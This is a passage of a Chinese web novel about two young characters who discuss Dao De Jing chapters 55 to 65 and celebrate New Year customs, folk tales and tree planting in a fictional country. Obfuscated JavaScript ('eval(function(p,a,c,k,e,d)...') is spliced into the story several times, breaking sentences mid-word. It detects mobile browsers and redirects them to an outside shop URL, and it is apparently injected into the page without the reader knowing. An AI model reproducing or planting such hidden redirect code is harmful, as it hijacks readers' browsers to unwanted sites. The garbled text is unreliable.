鸟不搏。骨弱筋柔而握固，未知牝牡之合而朘 [zuī] 作，精之至也。终日号而不嗄 [shà]，和之至也。知和曰常，知常曰明。益生曰祥，心使气曰强。物壮则老，谓之不道，不道早已。 德行品质高尚的人，宛如刚出生的婴儿，毒虫、蝎子、毒蛇都不蛰他，猛兽不伤他，鹰也不捕食他，尽管他身体柔弱，但是他的拳头却牢牢地握着。 他虽然不知道男女的交合之事，但他的小生殖器却勃然举起，这是因为精气充沛的缘故。他整日啼哭，声音却不会沙哑，这是因为它和气充盈，懂得淳和的道理，即遵循常道，懂得遵循常道，便是真正的明白。 益年养生就是所谓的吉祥，争强好胜就是所谓的逞强。事物发展过于强盛就会逐渐走向灭亡，这就是不符合道的原则，不遵循道的原则便会过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156654|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早衰败。” 金有妙继续说道：“道德经第五十六章：知者不言，言者不知。塞其兑，闭其门；挫其锐，解其纷，和其光，同其尘，是谓玄同。故不可得而亲，不可得而疏；不可得而利，不可得而害；不可得而贵，不可得而贱。故为天下贵。 这里的意思是说，真正知“道”的人，明道合一而不言说，因为他知道说出来的都是“名”，非是道。那些能够说出来“道”的，就不是真正知“道”的人。 世间万物、生命最本质的相同(玄同)，无非就是地(同其尘)，水(挫其锐)，火(和其光)，风(解其纷)，见(塞其兑就是堵住五根孔窍)，识(闭其门就是关闭获得认识的门)，此六种大性。 所以，一切万物，都是此六大，在空中因缘际会变化合离，了无所得。不可得就不分亲疏了；不可得亦就不分利害了；不可得亦不分贵贱了。包括空，此七大就是世界万物的宗法，为道本觉明，于万物中圆融遍布。所以，道为天下人所尊重。” 金有妙继续说道“道德经第五十七章：以正治国，以奇用兵，以无事取天下。吾何以知其然哉？以此：天下多忌讳，而民弥贫，人多利器，国家滋昏。人多伎巧，奇物滋起。法令滋彰，盗贼多有。故圣人云：“我无为，而民自化；我好静，而民自正；我无事，而民自富；我无欲，而民自朴。” 以清静无为的正道来治理国家，以奇巧诡秘的方法来用兵，以不扰害人民来治理天下。我怎么知道是这样的呢？ 根据就在于：天下的法禁多了，百姓就越加贫困；民众的锐利武器多了，国家就越混乱；人们的心智和机巧多了，邪风怪事就越容易发生；法律越是森严，触犯法律的人便越多。 所以有道的人说：“我若‘无为’，百姓就会自我化育；我好静，百姓自然就会走上正道；我若无事，百姓自然富足；我无欲望，百姓自然就变得淳朴。” 金有妙说完，冯妙元说道：“世间一切都是空，地，水，火，风，识，明这七种元素因缘和合分离变化产生的对吧？。金有妙说道：“就是这个道，生命具有这七种的全部，身体具有五大性，心具有识和明二性。物体具有这七种的几种”。 冯妙元问道：“这七大的本质又是什么呢？”。金有妙回答道：“空是呈现态，风是摇动态，地是阻碍态，火是变化态，水是续合态。此五大皆是道本觉明，明势摇动而发，明象归来就是识。而后此七大在万物世界中圆融遍布创造世界”。 冯妙元说道：“那么道就是明吧，七大中明是道的本质吧？”。金有妙说道：“道不是明，也不是不明，它有觉明之性，离开了生命万物，这个明你也就找不到了，故说道隐无名”。 33. 有妙冯家过大年，妙元观中讨彩头 由于大学封路不好走，金有妙在冯妙元家待了七八天，差不多也就到大年三十了。冯妙元家和金家过年风俗都是一样，这也是秒赞国的风俗。也是请纸，坐纸，烧纸，坐夜这么几个步骤。冯家因为老大老三在金山村，县城只有他们一家，所以他们家坐纸的人只有他们家人，今年再加一个金有妙。 大年三十坐纸的时候，多半是大人守在上房供桌旁边炕上，打牌掀牛下棋。孩子们都跑出去玩了，放炮的放炮，串亲的串亲。 冯妙元家院子里，也来了方家的，龚家的好些孩子，再加上冯炳德，冯炳仁的孩子，院子里好不热闹，放炮声此起彼伏。他们几家离的本来都不远，所以大人也不怕孩子自己乱跑，说一声都知道去哪里了。 冯妙元过了这个年就是十三岁了，虚岁都十四了，所以她现在不屑与这些小孩子玩，就拉着方祖蕊和金有妙去白云观了。 道观里今天有大型的，请道祖降圣的活动，步骤也是请圣，坐圣，送圣，坐夜。和家里不一样的是，送圣不用烧纸，因为圣人与道合一，不需要烧钱给他们花。送圣的时候，点大香，悼念道德经文，以表达道祖对万民的爱戴。坐圣也是大人围在点有大香的圣像前，很大的地毯或者火炕上，打牌，下棋，掀牛，论道。孩子们还是跑来跑去的玩。 方祖蕊对着金有妙说道：“有妙哥，你是道的坚定信仰者和跟随者，你不去坐圣啊？”。金有妙说道：“这走来走去的玩就是坐圣了，不一定就和老爷爷们一起下棋嘛”。冯妙元说道：“那有妙哥哥你今天要给我多讲几章道德经，讨个彩头嘛”。金有妙说道：“那好的很，我们就从五十八章开始吧”。 金有妙继续说道：“道德经第五十八章：其政闷闷，其民淳淳；其政察察，其民缺缺。祸兮，福之所倚；福兮，祸之所伏。孰知其极？其无正也。正复为奇，善复为妖。人之迷，其日固久。是以圣人方而不割，廉而不刿（guì），直而不肆，光而不耀（yào）。 这里的意思是说，治理天下要政藏锋芒，无为而为，百姓就会忠厚淳朴；治理天下过于严酷，百姓就会狡诈。 灾祸啊，幸福就倚傍在它里面；幸福啊，灾祸就暗藏在其中。这种得失祸福循环，谁能知道它们的究竟？它们并没有一个确定的标准。正忽然转变为邪，善忽然转变为恶。世人看不透这个道理，迷惑的时间已经太久了。 因此，有道的人处事方正而不显得生硬，虽有棱角也不会伤人，直率而不放肆，明亮而不耀眼。” 金有妙继续说道：“道德经第五十九章：治人事天，莫若啬。夫唯啬，是谓早服；早服谓之重积德；重积德则无不克；无不克则莫之其极；莫之其极，可以有国。有国之母，可以长久。是谓深根固柢，长生久视之道。 这里的意思是说，治理百姓、养护身心，莫过于收藏其意形而不用，以归无为。唯有这样，就可以称得上是早做准备。这样的早做准备才能爱惜精力，以迎接万物的到来。 早做准备，就是厚积其德。厚积其德就没有不能胜任的事，没有不能胜任的事就无法估计他的力量。无法估计力量，他就可以担当好治理国家的重任。有了治理国家的原则和道理，国家就可以长治久安。这就是根深柢固，长生久视的道理。” 金有妙继续说道：“道德经第六十章：治大国，若烹小鲜。以道莅（lì）天下，其鬼不神；非其鬼不神，其神不伤人；非其神不伤人，圣人亦不伤人。夫两不相伤，故德交归焉。 这里的意思是说，治理一个很大的国家，要像烹煎很小的鱼那样，不能时常翻动导致破碎。 运用“道”的原则去治理天下，那些鬼怪就起不了作用了。并不是说它们不起作用，而是起作用也不会伤害到人。 并不是说起作用不伤害人，而是圣人不侵越践踏别人。这样，鬼怪欲念和有道的人就伤害不到人，所以人们就能彼此相安无事了。” 金有妙继续说道：“道德经六十一章：大邦者下流。天下之牝，天下之交也。牝恒以静胜牡，以静为下。故大邦以下小邦，则取小邦；小邦以下大邦，则取大邦。故或下以取，或下而取。大邦不过欲兼畜人，小邦不过欲入事人。夫两者各得其欲，大者宜为下。 这里的意思是说，治理一个很大的国家，要像江海那样安于处在卑下的地方。居于天下雌柔的位置，使天下百川河流交汇于这里。雌柔能以安静宁定战胜雄强，就在于它既能以静制动又安于居下。所以，大国如能对小国谦虚卑下，则必然能取得小国的信任依附；小国若能对大国谦虚卑下，则也能取得大国的信任支持。所以，不管是大国用谦虚卑下取得小国的信任，还是小国用谦虚卑下取得大国的信任，大国无非是想兼并小国，小国无非是有求于大国。这样大国小国都可以达到各自的愿望。特别是大国，更应该谦虚卑下。” 金有妙又说道：“道德经第六十二章：道者，万物之奥。善人之宝，不善人之所保。美言可以市尊，美行可以加人。人之不善，何弃之有？故立天子，置三公。虽有拱璧以先驷马，不如坐进此道。古之所以贵此道者何？不曰：求以得，有罪以免邪？故为天下贵。 这里的意思是说，道是荫庇万物的那个不寻之所(此所为人自在，回头处静即是）。 善良的人把它当成宝贝珍惜它，不善的人也处处保住它。美好动听的言辞可以换来别人对你的尊重，良好高尚的品行可以给自己的人设加分。 那些不善 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156655|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人，怎能把道抛弃呢？只因不能抛弃，所以在天子即位、设置三公的时候，虽然有拱璧在先、驷马在后的献礼仪式，还不如把这个清静无为的道进献给他们。 自古以来如此重视道是什么原因呢？不正是由于有求于它的就可以得到满足，犯了罪过的也可得到它的宽恕吗？就因为这个，天下人才如此珍视道。” 金有妙继续说道：“道德经六十三章：为无为，事无事，味无味。大小多少，报怨以德。图难于其易，为大于其细；天下难事，必作于易；天下大事，必作于细。是以圣人终不为大，故能成其大。夫轻诺必寡信，多易必多难。是以圣人犹难之，故终无难矣。 这里的意思是说，以道的无欲而为去做事，可以合道的以“无”为用而为。比如用不搅扰，不倒是非的方法去处理事物，以恬淡无味当作有味。 大生于小，多起于少。处理问题要从容易的地方入手，实现远大要从细微的地方入手。凡是天下的难事，一定从容易的地方做起；凡是天下的大事，必定从细微的部分做起。因此，有道的人始终不自以为伟大，所以才能做成大事。 以轻薄之态看待事物，就容易没有底线的许诺别人，很少有能够兑现的，必然会失去信用。并且会把事情看得太容易，势必会遭受很多困难。因此，有道的人遇到事情总是把它看得很难，所以反而没有困难了。” 金有妙继续说道：“道德经第六十四章：其安易持，其未兆易谋。其脆易泮，其微易散。为之于未有，治之于未乱。合抱之木，生于毫末；九层之台，起于累土；千里之行，始于足下。为者败之，执者失之。是以圣人无为故无败，无执故无失。民之从事，常于几成而败之。慎终如始，则无败事。是以圣人欲不欲，不贵难得之货；学不学，复众人之所过，以辅万物之自然而不敢为。 这里的意思是说，当局面安定时容易把持，当事情还未露先兆时容易谋划。当事物脆弱时容易分开，当事物细微时容易消散。做事情要在它尚未发生就处理妥当，处理事情要在祸乱产生以前就早做准备。 合抱的大树，生长于细小的根芽；九层的高台，筑起于每一堆泥土；千里的远行，是从脚下举步开始走出来的。 主观妄为的将会招致失败，强行把持的一定会失去。因此有道的人无所作为也不会招致失败，无所执着也不会遭受损失。 人们做事情，总是在快要成功时遭受失败，所以当事情快要完成的时候，也要像开始时那样慎重，就没有办不成的事。 因此，有道的人追求别人所不追求的，不稀罕难以得到的财货。学习别人所不学习的，补救众人经常犯的过错。以辅助万物按其自身规律自然发展而不会妄加干预。” 34. 有妙冯家包饺子，年夜团圆乐融融 下午五点的时候，白云观的大香燃到差不多十分之一的时候。送圣的活动就开始了。方喜云传唤在场的人们，不管大人还是小孩，都要跪于大香前面，面朝道祖圣像。方喜云开始念诵经文：“道可，道非，恒道……”。差不多到六点的时候，经文就念诵完了，大香也燃完了，送圣的活动就算结束了。人们就可以回家送纸了。 方祖蕊也回她家去送纸了。冯妙元和金有妙也要回冯妙元家了。在回家的路上，金有妙把自己买的头绳和发卡，从兜里拿了出来，送给了冯妙元。冯妙元接过头绳和发卡，深深的看了金有妙一眼，猛的扎到金有妙的怀里，哭了起来。金有妙用胳膊揽住了她的肩膀，说道：“怎么还哭上了呢，你不高兴啊？”。冯妙元抬起了头，摇了摇头，说道：“有妙哥哥，你有心了，我开心还来不及呢，只是你家艰难，你平时一支笔都舍不得买的，给我买这个”。金有妙说道：“咋不哭了，我也不是省下这个钱就能富的嘛，开心点”。冯妙元止住眼泪，笑着说道：“我知道，有妙哥哥是天下最富有的人”。说着他们就到了家。 他们回到家中，冯玄真开始召集大家，他手里拿着小香，跟在后面的大人各自都抱着烧的纸，小孩子手里拿着炮，浩浩荡荡的就来到了冯玄真家门口。 冯玄真把小香插到一个土堆上，然后大家把纸放到一起开始点燃。冯玄真再把小香也扔到火堆里，然后用一根棍子不停翻转。周围孩子放炮声不断。等到纸刚烧完时，冯玄真跪着先磕一个头，大家跟着他开始磕头。嗑完三个头就自动起来了，纸就送完了。 送完纸以后，大家开始坐夜。供品也开始撤了下来，这个时候是小孩子的最爱。也有抢不到糖，饼干，果子，油炸，饺子等食品的孩子哭鼻子的。 厨房虽然下午包了饺子，这个时候没事的大孩子们还会一直包饺子。先给大人们下饺子吃，孩子们一直就这么包着等大人吃完。冯妙元和金有妙也加入了包饺子的队伍。 金有妙说道：“没想到妙元妹妹饺子包的这么好看”。冯炳章说道：“她做啥都好看，心细着呢”。金有妙就没吃过几顿饺子，别说包了，就说道：“妙元妹妹，你教我，我也包”。 冯妙元拿起一个饺子皮说道：“你先把饺子馅这样放进去，然后合起来，然后四周用手按压着扣住，然后两个大拇指左右各一边并一起，用力这么一按压，就好了”。金有妙按她说的，就这样也包了起来。 等到大人们吃完，今有妙和冯妙元，冯炳章，还有一群孩子坐上长条饭桌，开始吃饺子，龚映兰和冯炳德的媳妇，冯炳仁的媳妇在厨房下饺子忙碌。金有妙说道：“这饺子真好吃”。冯妙元说道：“好吃你就多吃点”。说着她夹了一个饺子就放到了金有妙的碗里。 吃完饺子，冯妙如开始收拾多余的碗碟子等，开始往侧房准备糖果，点心，饼干，甜酒，瓜子，花生，核桃，凉拌黄瓜，土豆粉丝，猪头肉等等用于坐夜时打发口欲的食物。正房左右套间是大人坐夜的地方，物品由冯炳德媳妇她们准备。 冯妙如喊道：“元元，你过来拿东西呢，你咋坐那里了呢”。冯妙元拉着金有妙的手，赶紧帮冯妙如帮忙拿东西去了，不一会方祖蕊也来了，还有道国昌和道国薇也来这边凑热闹，还有龚家的龚灵娟，龚灵启。龚灵娟是冯妙元姑舅表姐，比冯妙元大一岁，龚灵启冯妙元表弟，比她小一岁。还有王天磊是冯妙元两姨表哥，比她大4岁。这过来的都是离冯家比较近的，都在鹿泉河畔。离冯妙元家太远的也就没必要跑远路来了。 都准备完毕以后，大家开始落坐，侧房这边有冯妙如，冯妙元，冯炳章，金有妙，方祖蕊，道国昌，道国薇，王天磊，龚灵娟，龚灵启，冯炳德的孩子冯文杰和冯文芳，冯炳仁的孩子冯文慧。 大家坐好以后，冯妙如说道：“坐夜要坐到过了夜半十二点以后，不到点可不能睡着了，你们说玩什么呢？”。冯炳章说道：“猜谜语，猜错了喝一杯，猜不出来也喝一杯，大姐你先说”。大家一听，都同意了。 冯妙如轮着坐次开始问了，先是方祖蕊。她问道：“早上起来人们首先会做一件事情，它是什么呢？”。方祖蕊说道：“穿衣服”。冯妙如说道：“不对，是最先睁眼睛”。方祖蕊一听，不服气的喝了一杯。 然后是冯妙元，她问道：“一个最贪玩的小孩子喜欢什么课呢？”。冯妙元说道：“不上课”。冯妙如说道：“是下课”。冯妙元说道：“这和我的没啥区别嘛”。众人说道：“那你俩同喜，碰一杯”。然后她俩就碰了一杯。 然后是金有妙，她问道：“大雁为什么要飞向南方？”。金有妙说道：“因为要去过冬”。冯妙如说道：“它或许去吃鱼呢？不对，是因为走起来太慢啦”。金有妙说道：“套路我呢”，说着就喝了一杯。 然后是冯炳章，她问道：“全世界最大的公鸡是从哪里来呢？”。冯炳章说道：“鸡蛋里来”。冯妙如喝了一杯，就往下问了。 下面是道国昌，她问道：“太阳和月亮在一起的是哪一天？”。道国昌说道：“应该是中秋节”。冯妙如说道：“是明天”。道国昌说道：“你说的是字啊，好像是这样的”，说着他也喝了一杯。 下面是道国薇，她问道：“什么布剪不断？”。道国薇说道：“没有布剪不断”。冯妙如说道：“没有布怎么称为是布的呢？是瀑布，来喝酒”。然后道国薇也喝了一杯。 然后是龚灵娟，她问道：“大家都不想得到的是什么呢？”。龚灵娟说道：“是得病”。然后，冯妙如就喝了一杯。下面她问龚灵启道：“全世界最大的土豆长在哪里呢？”。龚灵启说道：“就我们这里的最大最好”。冯妙如说道：“是长在土里的，来喝酒啦”。然后龚灵启就喝了一杯。 然后是王天磊，她问道：“什么蛋打不烂，煮不熟，也不能吃呢？”。王天磊说道：“想不出来了”，就端起酒喝了一杯。 谜语猜完了，道国昌说道：“这摧的太快了，没到十二点，大家都醉了，还不睡着了，一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156656|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人讲一个故事，讲完自己提一杯”。冯妙如说道：“那金有妙你先讲，你故事多”。 金有妙说道：“嗯，那我先讲一个”。然后他开始讲道：“说有一对老夫妻，老头子天天在外打柴，老婆子天天在家做饭。有一天晚上，看婆子问老头子：‘世上你最害怕什么呢？’，老头子答道：‘我最害怕老虎’。然后老头子问老婆子道：‘世上你最害怕什么呢？’。老婆子答道：‘我最害怕锅漏’。” 讲到这里，方祖蕊说道：“我知道了，老头子打柴的自然是害怕老虎，老婆子做饭的自然害怕锅漏啦”。众人说道：“你别打岔，让有妙赶紧说”。 金有妙继续说道：“就在他们俩正在聊天的时候，门外面正好有一只老虎在偷听。于是，它就在想：‘这锅漏是什么？难道比自己更厉害？它想着想着就来到了老夫妻俩的驴圈，打算偷着吃了老夫妻的驴。当它来到驴圈，四面漆黑，伸手不见五指，它就黑揣摸瞎的摸了起来。就在这个时候，有个偷驴贼进到了驴圈，打算偷了老夫妻的驴。话说这个贼也黑揣瞎摸的摸了起来。摸着摸着，他摸到一个毛绒绒的东西，以为是驴，就骑了上去。” 听到这里，冯妙元“哈哈”大笑的说道：“那肯定是个老虎”。众生说，你别笑了，赶紧让有妙讲。 金有妙继续讲道：“老虎感觉忽然有什么东西抓住了它，它就想起了锅漏，吓的撒腿就跑。这个小偷窃喜这家驴跑的好快啊”。 听到这里，众人笑的前俯后仰。冯妙如说道：“快别笑了，继续”。 金有妙讲道：“不知不觉天就发亮了，小偷看见是一个老虎，吓的双腿打颤，不知道如何是好”。众生又笑的不能自持，等他们笑完了，金有妙继续讲道：“忽然，老虎跑过一颗树，小偷立马抱住了树，老虎就跑开了。老虎暗自幸庆，终于把锅漏甩开了”。 龚灵娟说道：“然后呢”。金有妙继续说道：“老虎跑着跑着，碰见了一只猴子，猴子就问，虎大哥，虎大哥，你为什么跑的如此匆忙，老虎就把遇到锅漏的事告诉了猴子。猴子一听，世间那里有锅漏这么个东西呢，就给老虎说道：‘那肯定是个人，我们去看看’，然后他们就来到了这棵大树底下”。 金有妙继续说道：“猴子一看树上，就给老虎说道：‘虎大哥你把我们的尾巴绑到一起，我上去看，如果是个人，我拉下来一起吃，如果是锅漏，我给你挤眼睛，你拉着我就跑’，老虎一听，同意了。这小偷眼看着猴子快爬到他身边了，吓的尿尿直流，滴进了猴子的眼睛，猴子低头挤了两下。老虎一看，拉着猴子，撒腿就跑”。 众人一听，又是一阵大笑，过了一会，冯炳章问道：“然后呢？”。金有妙继续说道：“老虎跑了七山八河，看见猴子龇牙咧嘴的不动弹，就拍了它几下说道：‘我跑的累死了，你还给我笑’，然后就把猴子吃了。” 听完众人说道：“太有意思了，还有吗？”。金有妙说道：“下一个妙如姐讲”。然后他自己提了一杯。” 35. 鹿泉十五放花灯，金山二月谋种树 话说他们轮流着讲故事，就不再一一详表。不知不觉中，时间来到了夜半十二点。他们来到了鹿泉河畔，整个鹿泉县城飞起的烟花，与鹿泉河相映成趣，好不壮观。 看完烟花，熬不住的人们，各自回家都休息去了。冯妙元和金有妙在河边上坐了一体。冯妙元问道：“有妙哥哥，县城过年和你们那里有啥不一样的呢？”。金有妙说道：“风俗都一样的，就是人没这里多，没这里热闹，初三家家户户都要跟团耍社火”。冯妙元说道：“县城初三也要唱大戏，也有狮子龙队挨家挨户的讨彩头”。 他们说了一会话，感觉凉意袭来，有妙轻轻的抱了抱她，说道：“我们回去吧”。冯妙元“嗯”了一声就起身了，然后他们就回去了。 他俩来到房间，只有方祖蕊和道国昌没有回家，和冯妙如，冯炳章一起磕瓜子聊天呢。她看见冯妙元进来，说道：“妙元姐姐学习就是认真，这会子还要拉着有妙哥哥参经学道呢”。冯妙元说道：“你个小蹄子，你就整天盯着我呢，有妙哥哥说没看过鹿泉河的夜景，就陪她看了一会，你就盯上了”。 道国昌心想，怪不得冯妙元对道国元不感冒呢，原来是心里有人了，只是他不表于形色，没有说话。冯妙如说道：“来，我们继续喝酒，对诗接龙，谁接不上谁喝”。冯妙元说道：“好，我先说”。然后她就说道：“大年除夕夜”。方祖蕊对道：“夜半观烟花”。道国常对道：“花开三月中”。冯炳章对道：“中夏菜花黄”。金有妙对道：“黄杏六月熟”。冯妙如对道：“熟人约相摘”。……。就这样，他们实在坚持不住了，各自也就睡去了。 转眼到了正月初三，县城开始唱大戏，大戏是妙赞国一种非常古老的，豪放式吼唱的戏种。晚上有过来讨彩头的狮队，孩子们会呆在门边上等待他们到来，然后把红包塞进狮子的嘴巴里。 这几天里，冯妙元和金有妙，方祖蕊，冯炳章天天在戏场里溜达，戏场里有摆凉皮的，卖瓜子的，卖糖糕的，卖气球的，有套圈的，这都是孩子们的最爱，好不热闹。 金有妙倒是对台上唱了啥，挺感兴趣了。他听道：“祖籍陕西韩城县，杏花村中有家园……”。金有妙就问冯炳章道：“这陕西是哪里？”。冯炳章说道：“就是我们隔壁县，那里和我们一样，到处是杏树，这出戏主要讲了兄弟怕分家产而不敢相认的故事”。 就这样他们每天在戏场里晃来晃去，时间很快到了正月十五，正月十五整个鹿泉河上挂满了花灯，每家每户也挂满了花灯。到了傍晚，太阳刚刚下山，大人带着小孩，就会来到河边，放花灯以表达祈福。 冯妙元做了自己的花灯，也帮金有妙做了花灯。正月十五的晚上，他们就来到了鹿泉河边。冯妙元手拿着灯，金有妙用火柴点燃，然后冯妙元就放进了河里。她们就这样放了一对。 冯妙元问道：“有妙哥哥，你说他们永远会在一起游吗？”。金有妙说道：“它们与河同在，与大地同在，永远会在一起的”。他们本来就是蹲着的，冯妙元听着金有妙说着话，轻轻的把头枕到了他的肩膀上。虽然是夜晚，有灯映衬，这一幕，被远处放灯的道国昌偷偷瞄了个见。 冯玄真本来每年都要在正月初十回金山村，正月十五要招待耍社火的农人。今年因为大学封山，招待活动改到了二月二，这是一个龙抬头的节日。刚好三月份就要植树，二月份就要把树苗运过去。从今年开始，大量种植桑树是国家政策，冯玄真丝毫不敢怠慢，他叫了金有田和金山村的村民来县城拿树苗。 金春海，金志海，金如海，金有田，金有军等，还有孙家弟兄，赵家弟兄，都拉着架子车，套着驴来到了县城。就这样，金有妙和冯妙元跟着金春海也随行在取树苗的队伍里。冯妙元偷偷的瞥了一眼这个金有妙口中那个严厉的父亲。这是一个被生活打磨的具有及其坚强品质的人，他遇雪扫雪，遇泥铺土，少言寡语，沉稳内敛，眼里充满着光，不怒而威，叫很难亲近，怪不得有妙哥哥那么怕他。 到了金山村，他们把树苗卸在了金山学堂的前院里。这天是二月二，冯玄真在学堂聚客厅为他们举办了招待宴。也让孩子们在会客室凑了一小桌去玩了。冯玄真来到聚客庭，大家都落了坐，他端起杯子说道：“今年大雪封山，物资不好下乡，本应十五举行的聚会，我们今天再把大家聚合起来，大家一起开心开心。今天又拉树苗，大家辛苦了，我敬大家一杯”。然后他就一饮而尽了。然后大家有说有笑的开吃了。 冯妙元又回到了金山村，自是高兴的不得了。他们在小桌也是又喝又吃，又对诗又猜迷的，好不热闹。冯妙元问金灵：“你们这个年怎么过的？”。 金灵说道：“我们回来的时候，各家就开始准备杀猪了，然后就每天轮流着吃杀猪饭了。到年三十就坐纸烧纸坐夜，晚上吃臊子面”。冯妙元说道：“你们不吃饺子吗？”。金灵说道：“我们腊月二十八九人们都蒸了包子，年夜再不吃饺子的”。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156657|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 冯妙元说道，听说今年开春全国要大量种植桑树，我们开学要推迟一个月，我可以留在这里和你们一起种树了。金有妙说道：“嗯，我和你一起种，你负责浇水”。冯妙元说道：“那不，我要负责给你拿树”。说完她又说道：“听说你们这里故事多，你给我讲一个故事吧”。 金灵想了一想，说道：“我给你讲一个大郎放羊的故事吧。话说有一户人家，女的生了孩子就去了，男子辛苦的把这个儿子养到了六岁，他又取了一房妻氏，又生了一个男孩，这个后妈就对大郎很不待见。她就让大朗去放羊，自己的孩子六岁了就去上学。 话说大朗十三岁的时候，有一天放羊时，看见两条蛇打架，他就救下了白蛇。这天晚上，他梦见一个穿白衣的老人，说道：“明天有两个人叫你去坐客，穿白衣服的叫你，你就去，去了以后你只要花，其他的不要要。穿黑衣服的叫你，你不要去”。第二天，果然有两个人请他去做客，他就从了穿白衣的。 到了他家，有个白胡子老人说道：“你救的是我的三太子，请问你要什么报答呢？”。大朗说道：“我要窗台的那朵花”。然后老人就把花给他了。 大朗回来以后，每天放羊归于山洞，就有熟好的饭菜，他很奇怪。第三天他没有走远，就藏在洞口的隐蔽处，看见这朵花变成了一个女子给她做饭呢，他出来一把抱住了她，说道：“我看见你了，你就不要变回去了，你给我当媳妇吧！”。这样他们就幸福的在山里生活了下来”。冯妙元听完，深情的望了金有妙一眼。说道：“有妙哥哥该你讲了”。金有妙说道：“我给你讲第六十五章”。 金有念说道：“道德经第六十五章：古之善为道者，非以明民，将以愚之。民之难治，以其智多。故以智治国，国之贼；不以智治国，国之福。知此两者亦稽式。常知稽式，是谓玄德。玄德深矣，远矣，与物反矣，然后乃至大顺。 这里的意思是说，古代善于遵行“道”的人，不是教导人民知晓智巧伪诈，而是教导人民淳厚朴实。人民之所以难以治理。乃是因为为他们使用太多的智巧心机。所以用智巧心机去治理国家，就必然会危害国家，成为国家的灾祸；不用智巧心机治理国家，才是国家的幸福。了解这两种治国方式的差别就是一个法则，经常了解这个法则，就叫作“玄德”。玄德深不可测，远不可及，和万物一起复归到道的真朴，然后才能极大地顺乎自然。”他们听完，天也深夜了，就各自回家睡觉去了。 36. 宽良担任蚕架总制，妙元开导秀莲宽心 时间很快就到了三月份，话说三月份的金山村，到处的茂葛花也就正式盛开了。他们栽树的时候，总是能碰上这么几株。冯妙元学着金朵他们的样子，摘一朵下来，拿在手里，用劲的朝花吹几口，看见黑色的小虫子跑完了，就放到了嘴里。 冯妙元说道：“这花还蛮甜的”。今有妙回道：“这种茂葛花有两种，一种可以吃，就像这个。一种有毒，在外形上是分辨不出来的，你以后不要随便吃哦”。 冯妙元听了以后，硬是拽着金有妙给她找有毒的，她来辨认。金有妙就找了一株，对比着让她辨认了，冯妙元慢慢的终于可以辨别了。 冯妙元在种树的田埂上，不巧就遇见了冯秀莲。她看上去憔悴了许多，人也苍老了许多，这几年的怨气也压的她喘不过气来。冯妙元问道：“秀莲姐最近还好吗？”。冯秀莲说道：“哎～，上次你来我家也看到了，你姐夫就那个样子。自从唐贵当了兵，他最近欲发的没个样子了。有事没事就往金凤家去帮忙”。 冯妙元说道：“不管怎么样，吴宽良是你的丈夫，你和孩子的一切吃穿用度，他也没少给你一分，你不要试着去控制别人，他有他自己的想法，我们不能做别人的主，但我们能做自己的主。让自己开心起来，把家里打理的井井有条，这才是姐姐要思考的问题。你管他是谁的男人呢，受益的是姐姐你，受苦的金凤，她也是没办法的办法，但凡有点办法，那个女人愿意偷人？驴还是你家送过去的呢，你也要理解她。同样是女人，如果你是她，你觉得她容易吗？姐姐且不敢再仇恨她了，也是放过你自己。这样，你每天就会容光焕发了，我姐夫见到你也会舒服起来。这就是人与人的相处之道，放开他，他就依附你”。 冯秀莲说道：“我知道了，就是这孩子也是和他爸不亲近”。冯妙元说道：“根本的原因还是在姐姐这里，要给你的孩子们灌输美好的东西，那么他以后也不会遇上这样的人，这样的事。如果你给他们灌注这些不好的东西，他们以后还会重蹈覆辙，你于心何忍，就算为了他们吧，姐姐你要做出改变。” 冯秀莲这几年尝到了执念的心苦，再也没有了从前的傲慢与偏见。这凡话就像甘露沁入她的心田，她激动不已，连忙感谢着说道：“妙元妹妹，你是一个知心大度的人，谁能娶到你，真是三生有幸的人”。 冯妙元继续说道：“你每天要思考家里有啥值得幸庆的事。这样，日子就会有盼头”。 